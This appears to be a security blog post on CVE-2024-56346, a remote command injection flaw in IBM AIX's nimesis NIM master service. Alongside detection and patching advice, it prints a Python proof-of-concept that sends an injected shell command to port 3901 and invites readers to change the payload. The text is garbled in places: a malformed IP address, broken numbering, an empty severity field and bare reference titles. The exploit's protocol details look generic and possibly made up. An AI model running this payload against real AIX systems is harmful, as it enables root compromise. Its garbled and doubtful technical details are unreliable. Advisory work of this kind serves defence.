A new critical vulnerability, CVE-2024-56346, has been discovered in IBM AIX versions 7.2 and 7.3, specifically affecting the nimesis NIM master service. This flaw allows remote attackers to execute arbitrary commands on the system due to improper process controls within the service. In this post, we’ll break down the vulnerability, show code snippets of potential exploits, and give you all the resources you’ll need to understand and defend against this issue.
What is IBM AIX NIM and nimesis?
IBM AIX is an enterprise UNIX operating system used for mission-critical tasks. NIM (Network Installation Manager) is commonly used for managing large numbers of AIX machines and handling system installations. The vulnerable component, nimesis, is part of the NIM master service, which listens for requests and initiates network-based operations.
The Root of the Problem
*nimesis* checks network requests from NIM clients. Due to improper process controls, the service can be tricked into running attacker-supplied commands. There aren’t strict checks on certain user input, and this unsanitized data is passed to system functions. This opens the door for *remote command execution*. That means a remote, unauthenticated attacker can run code as the user running the nimesis service—often root.
Severity:
The Attacker Finds the NIM Master IP (usually by scanning common AIX server ports).
2. They Send a Maliciously Crafted Packet to the nimesis service - exploiting weak input validation.
Attacker Code Runs on the Server.
Depending on the permissions of the service, this could give full control over the server.
Code Snippet: Proof-of-Concept (PoC) Exploit
Below is a simple Python PoC that demonstrates how an attacker might exploit CVE-2024-56346. This is for educational purposes only—do *not* use against any system you do not own or have explicit permission to test.
import socket
# Target host (change as needed)
target_ip = "192..2.123"
target_port = 3901 # Default NIM port
# The attack payload - injects a simple command; change as needed
payload = b"evilreq;\n/usr/bin/touch /tmp/hacked_by_cve_2024_56346\n"
def exploit_nimesis(target, port, payload):
try:
sock = socket.create_connection((target, port), timeout=10)
sock.sendall(payload)
sock.close()
print(f"Payload sent to {target}:{port}")
except Exception as e:
print(f"Error: {e}")
exploit_nimesis(target_ip, target_port, payload)
What this does: It connects to the NIM master and injects a command to create a file on the targeted server. Attackers could change the payload to run any command—install a backdoor, grab sensitive files, or disrupt operations.
IBM advisory:
IBM Security Bulletin: Vulnerability in AIX (CVE-2024-56346)
Check logs for unusual requests or commands.
4. Monitor for Strange Files/Processes.
Look for files like /tmp/hacked_by_cve_2024_56346 or odd processes running as root.
IBM Original Advisory:
IBM Security Bulletin CVE-2024-56346
NIST NVD Entry:
AIX NIM Master Service Documentation:
Sysdig Blogs: AIX Attacks
Exclusive Insights
While most advisories urge a quick patch, CVE-2024-56346 is risky for mature, “legacy” environments where old NIM masters service dozens or hundreds of LPARs. Automation tools often touch these instances, sometimes even over VPN from remote offices. The critical nature (root command injection) means lateral movement into the core of your organization is just a misconfigured firewall away.
If you manage IBM AIX infrastructure:
Audit every NIM master for exposure,
- Treat this vulnerability as *worse than ransomware*—this is silent, remote, and fully compromise-ready.
Patch. Isolate. Repeat.
Got questions about patching AIX, or want a deeper dive into this exploit? Leave a comment or contact your IBM rep for individualized help. Stay safe!
Timeline
Published on: 03/18/2025 17:15:44 UTC